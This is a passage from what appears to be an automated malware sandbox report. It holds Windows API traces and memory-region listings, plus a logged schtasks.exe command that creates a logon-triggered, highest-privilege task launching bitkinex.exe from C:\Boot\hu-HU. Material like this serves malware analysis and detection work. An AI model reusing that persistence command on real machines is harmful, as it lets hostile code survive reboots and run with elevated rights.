| out: hHeap=0x310000) returned 1 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6c0) returned 1 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6c0) returned 0x16 [0062.039] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6c0 | out: hHeap=0x310000) returned 1 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0) returned 1 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cdd0) returned 0x20 [0062.039] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0 | out: hHeap=0x310000) returned 1 [0062.039] GetProcessHeap () returned 0x310000 [0062.039] GetProcessHeap () returned 0x310000 [0062.040] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x349ae0) returned 1 [0062.040] GetProcessHeap () returned 0x310000 [0062.040] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x349ae0) returned 0x82 [0062.040] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x349ae0 | out: hHeap=0x310000) returned 1 [0062.040] GetProcessHeap () returned 0x310000 [0062.040] GetProcessHeap () returned 0x310000 [0062.040] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0) returned 1 [0062.040] GetProcessHeap () returned 0x310000 [0062.040] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cda0) returned 0x20 [0062.041] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0 | out: hHeap=0x310000) returned 1 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d700) returned 1 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d700) returned 0xe [0062.041] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d700 | out: hHeap=0x310000) returned 1 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70) returned 1 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd70) returned 0x20 [0062.041] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70 | out: hHeap=0x310000) returned 1 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d720) returned 1 [0062.041] GetProcessHeap () returned 0x310000 [0062.041] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d720) returned 0xa [0062.041] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d720 | out: hHeap=0x310000) returned 1 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40) returned 1 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd40) returned 0x20 [0062.042] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40 | out: hHeap=0x310000) returned 1 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d740) returned 1 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d740) returned 0xc [0062.042] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d740 | out: hHeap=0x310000) returned 1 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10) returned 1 [0062.042] GetProcessHeap () returned 0x310000 [0062.042] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd10) returned 0x20 [0062.043] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10 | out: hHeap=0x310000) returned 1 [0062.043] GetProcessHeap () returned 0x310000 [0062.043] GetProcessHeap () returned 0x310000 [0062.043] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb10) returned 1 [0062.043] GetProcessHeap () returned 0x310000 [0062.043] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb10) returned 0x18 [0062.043] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb10 | out: hHeap=0x310000) returned 1 [0062.043] GetProcessHeap () returned 0x310000 [0062.043] GetProcessHeap () returned 0x310000 [0062.043] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ab0) returned 1 [0062.043] GetProcessHeap () returned 0x310000 [0062.043] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ab0) returned 0x20 [0062.044] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ab0 | out: hHeap=0x310000) returned 1 [0062.044] GetProcessHeap () returned 0x310000 [0062.044] GetProcessHeap () returned 0x310000 [0062.044] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ae0) returned 1 [0062.044] GetProcessHeap () returned 0x310000 [0062.044] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ae0) returned 0x20 [0062.044] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ae0 | out: hHeap=0x310000) returned 1 [0062.044] GetProcessHeap () returned 0x310000 [0062.044] GetProcessHeap () returned 0x310000 [0062.044] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b10) returned 1 [0062.044] GetProcessHeap () returned 0x310000 [0062.044] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b10) returned 0x20 [0062.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b10 | out: hHeap=0x310000) returned 1 [0062.045] GetProcessHeap () returned 0x310000 [0062.045] GetProcessHeap () returned 0x310000 [0062.045] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b40) returned 1 [0062.045] GetProcessHeap () returned 0x310000 [0062.045] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b40) returned 0x20 [0062.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b40 | out: hHeap=0x310000) returned 1 [0062.045] GetProcessHeap () returned 0x310000 [0062.045] GetProcessHeap () returned 0x310000 [0062.045] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb30) returned 1 [0062.045] GetProcessHeap () returned 0x310000 [0062.045] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb30) returned 0x18 [0062.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb30 | out: hHeap=0x310000) returned 1 [0062.045] GetProcessHeap () returned 0x310000 [0062.046] GetProcessHeap () returned 0x310000 [0062.046] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70) returned 1 [0062.046] GetProcessHeap () returned 0x310000 [0062.046] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b70) returned 0x20 [0062.046] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70 | out: hHeap=0x310000) returned 1 [0062.046] GetProcessHeap () returned 0x310000 [0062.046] GetProcessHeap () returned 0x310000 [0062.046] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c00) returned 1 [0062.046] GetProcessHeap () returned 0x310000 [0062.046] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c00) returned 0x20 [0062.047] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c00 | out: hHeap=0x310000) returned 1 [0062.047] GetProcessHeap () returned 0x310000 [0062.047] GetProcessHeap () returned 0x310000 [0062.047] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c60) returned 1 [0062.047] GetProcessHeap () returned 0x310000 [0062.047] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c60) returned 0x20 [0062.047] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c60 | out: hHeap=0x310000) returned 1 [0062.047] GetProcessHeap () returned 0x310000 [0062.047] GetProcessHeap () returned 0x310000 [0062.047] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325cc0) returned 1 [0062.047] GetProcessHeap () returned 0x310000 [0062.047] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325cc0) returned 0x20 [0062.048] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325cc0 | out: hHeap=0x310000) returned 1 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325cf0) returned 1 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325cf0) returned 0x20 [0062.048] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325cf0 | out: hHeap=0x310000) returned 1 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb50) returned 1 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb50) returned 0x18 [0062.048] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb50 | out: hHeap=0x310000) returned 1 [0062.048] GetProcessHeap () returned 0x310000 [0062.048] GetProcessHeap () returned 0x310000 [0062.049] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c30) returned 1 [0062.049] GetProcessHeap () returned 0x310000 [0062.049] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c30) returned 0x20 [0062.049] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c30 | out: hHeap=0x310000) returned 1 [0062.059] GetProcessHeap () returned 0x310000 [0062.059] GetProcessHeap () returned 0x310000 [0062.059] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bad0) returned 1 [0062.059] GetProcessHeap () returned 0x310000 [0062.059] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bad0) returned 0x18 [0062.059] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bad0 | out: hHeap=0x310000) returned 1 [0062.059] exit (_Code=0) Thread: id = 109 os_tid = 0xf14 Process: id = "15" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3e010000" os_pid = "0xf18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"bitkinex\" /sc ONLOGON /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2041 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2042 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2043 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2044 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2045 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2046 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2047 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2048 start_va = 0xffe10000 end_va = 0xffe57fff monitored = 1 entry_point = 0xffe3966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2049 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2050 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2051 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2052 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2053 start_va = 0x100000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2054 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2055 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2056 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2057 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2058 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2059 start_va = 0x100000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2060 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2061 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2062 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2063 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2064 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2065 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2066 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2067 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2068 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2069 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2070 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2071 start_va = 0x270000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2072 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2073 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2074 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2075 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2076 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2077 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2078 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2079 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 2080 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 2081 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2082 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2083 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2084 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2085 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2086 start_va = 0x370000 end_va = 0x3ecfff monitored = 0 entry_point = 0x37cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2087 start_va = 0x370000 end_va = 0x3ecfff monitored = 0 entry_point = 0x37cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2088 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2089 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2090 start_va = 0x1e10000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 2091 start_va = 0x1f20000 end_va = 0x1ffefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 2092 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2095 start_va = 0x1e10000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 2096 start_va = 0x1ea0000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2097 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2098 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2099 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 2100 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2101 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 2102 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2103 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2136 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 110 os_tid = 0xf1c [0062.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffe80 | out: lpSystemTimeAsFileTime=0xffe80*(dwLowDateTime=0x4e24a6a0, dwHighDateTime=0x1d9eb0c)) [0062.086] GetCurrentProcessId () returned 0xf18 [0062.086] GetCurrentThreadId () returned 0xf1c [0062.086] GetTickCount () returned 0x17651fd [0062.086] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xffe88 | out: lpPerformanceCount=0xffe88*=2486856908738) returned 1 [0062.086] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0062.086] __set_app_type (_Type=0x1) [0062.086] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe3972c) returned 0x0 [0062.086] __wgetmainargs (in: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248, _DoWildCard=0, _StartInfo=0xffe5125c | out: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248) returned 0 [0062.087] _onexit (_Func=0xffe42ab0) returned 0xffe42ab0 [0062.087] _onexit (_Func=0xffe42ac4) returned 0xffe42ac4 [0062.087] _onexit (_Func=0xffe42afc) returned 0xffe42afc [0062.087] _onexit (_Func=0xffe42b58) returned 0xffe42b58 [0062.088] _onexit (_Func=0xffe42b80) returned 0xffe42b80 [0062.088] _onexit (_Func=0xffe42ba8) returned 0xffe42ba8 [0062.088] _onexit (_Func=0xffe42bd0) returned 0xffe42bd0 [0062.088] _onexit (_Func=0xffe42bf8) returned 0xffe42bf8 [0062.088] _onexit (_Func=0xffe42c20) returned 0xffe42c20 [0062.088] _onexit (_Func=0xffe42c48) returned 0xffe42c48 [0062.088] _onexit (_Func=0xffe42c70) returned 0xffe42c70 [0062.088] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0062.088] WinSqmIsOptedIn () returned 0x0 [0062.089] GetProcessHeap () returned 0x170000 [0062.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bab0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0062.089] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0062.089] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0062.089] VerifyVersionInfoW (in: lpVersionInformation=0xff640, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff640) returned 1 [0062.089] GetProcessHeap () returned 0x170000 [0062.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bad0 [0062.090] lstrlenW (lpString="") returned 0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x2) returned 0x18baf0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x1859f0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bb10 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a20 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a50 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a80 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ab0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bb30 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ae0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) 